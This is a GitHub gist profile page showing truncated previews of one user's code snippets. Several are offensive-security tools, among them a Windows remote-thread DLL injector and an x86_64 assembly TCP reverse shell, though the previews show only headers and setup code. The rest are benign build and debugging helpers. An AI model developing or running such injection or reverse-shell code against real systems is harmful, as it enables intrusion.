Skip to content

Instantly share code, notes, and snippets.

View StefanoBelli's full-sized avatar

ste StefanoBelli

  • Rome, Italy
View GitHub Profile
@StefanoBelli
StefanoBelli / injector.c
Last active June 4, 2017 11:31
Sample classic process remote thread DLL injection technique
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <windows.h>
#include <tlhelp32.h>
#define VMALLOC(proc,size) \
VirtualAllocEx(proc,NULL,size, MEM_COMMIT | MEM_RESERVE, \
PAGE_EXECUTE_READWRITE)
@StefanoBelli
StefanoBelli / rsh.S
Created July 8, 2017 12:58
Linux / x86_64 (AT&T/GAS) simple TCP reverse shell
.globl _start
.data
setting_up:
.ascii "[*] Making your h4x0r 0wn1ng ready...\n"
.set setting_up_len, . - setting_up
.macro sys_exit code
movb $60, %al
@StefanoBelli
StefanoBelli / linux-keys.c
Last active November 25, 2017 11:09
Linux keypress control utils
/*
* Based on @Andrea993 / github.com/andrea993 's work
* gcc -c -std=c99 -D_GNU_SOURCE
* or
* gcc -c -std=gnu99
*/
#include <linux/limits.h>
#include <linux/input.h>
#include <dirent.h>
#include <string.h>
@StefanoBelli
StefanoBelli / hex_byte_strlit.py
Last active February 16, 2019 21:29
Convert hex bytes to string literal (example: AF AF ==> \xAF\xAF)
#!/usr/bin/python3
from sys import argv
def read_string() -> tuple:
in_str = None
arglen = len(argv)
carray = False
if arglen >= 2 and argv[1] == '-c':
@StefanoBelli
StefanoBelli / strtoba_h.c
Last active September 26, 2017 21:39
String to byte array (hex base). String must not contain any space
#include <stdio.h>
#include <ctype.h>
static inline
int hex_alpha_only(const char* string)
{
for(;*string;*string++) {
if(!( (*string >= 'a' && *string <= 'f') ||
(*string >= 'A' && *string <= 'F') ||
(*string >= '0' && *string <= '9')
@StefanoBelli
StefanoBelli / android-toolchain-env.sh
Created November 12, 2017 21:17
Easy toolchain environment setup
#!/bin/bash
# source ./android-toolchain-env.sh [...]
if [ $# -lt 2 ]; then
echo " ### Usage: $0 <target_host> <toolchain_location> [CFLAGS...] [LDFLAGS...] "
exit 1
elif [ $# -gt 4 ]; then
echo " ### Seems like you typed more than 4 arguments, if your intention was to specify more than one CFLAGS and/or LDFLAGS, you have to delimit them with double quotes."
echo -n " ??? Continue anyway[y/N]: "
@StefanoBelli
StefanoBelli / test-compiler.sh
Created November 14, 2017 21:15
Checks if compiler is working
#!/bin/sh
PROGRAM="test"
BOLD=$(tput bold)
NORMAL=$(tput sgr0)
C_WHITE="\033[0m"
C_BLUE="\033[33m"
C_RED="\033[31m"
C_YEL="\033[34m"
C_GREEN="\033[32m"
@StefanoBelli
StefanoBelli / Cpp-Demangler.ps1
Last active December 8, 2017 12:25
Ask demangler.com to demangle some C++ mangled names...
if ($args.Length -eq 0) {
Write-Error "Requires an argument`n---
Usage: Cpp-Demangler.ps1 <Mangled-Cpp-Name>`n
Note: Works with GCC and MSVC mangled name`n---"
exit 1
}
$netAssembly = [Reflection.Assembly]::GetAssembly([System.Net.Configuration.SettingsSection])
if($netAssembly) {
#ifndef DEBUG_FACILITY_H
#define DEBUG_FACILITY_H
#define __VALUE_HELPER(xval) #xval
#define any_to_string(orig) __VALUE_HELPER(orig)
#if defined(__GNUC_MINOR__) || defined(__clang__)
#define __PREFIX_FMT__ "[DEBUG][" __FILE__ ":" any_to_string(__LINE__) "][%s] "
#endif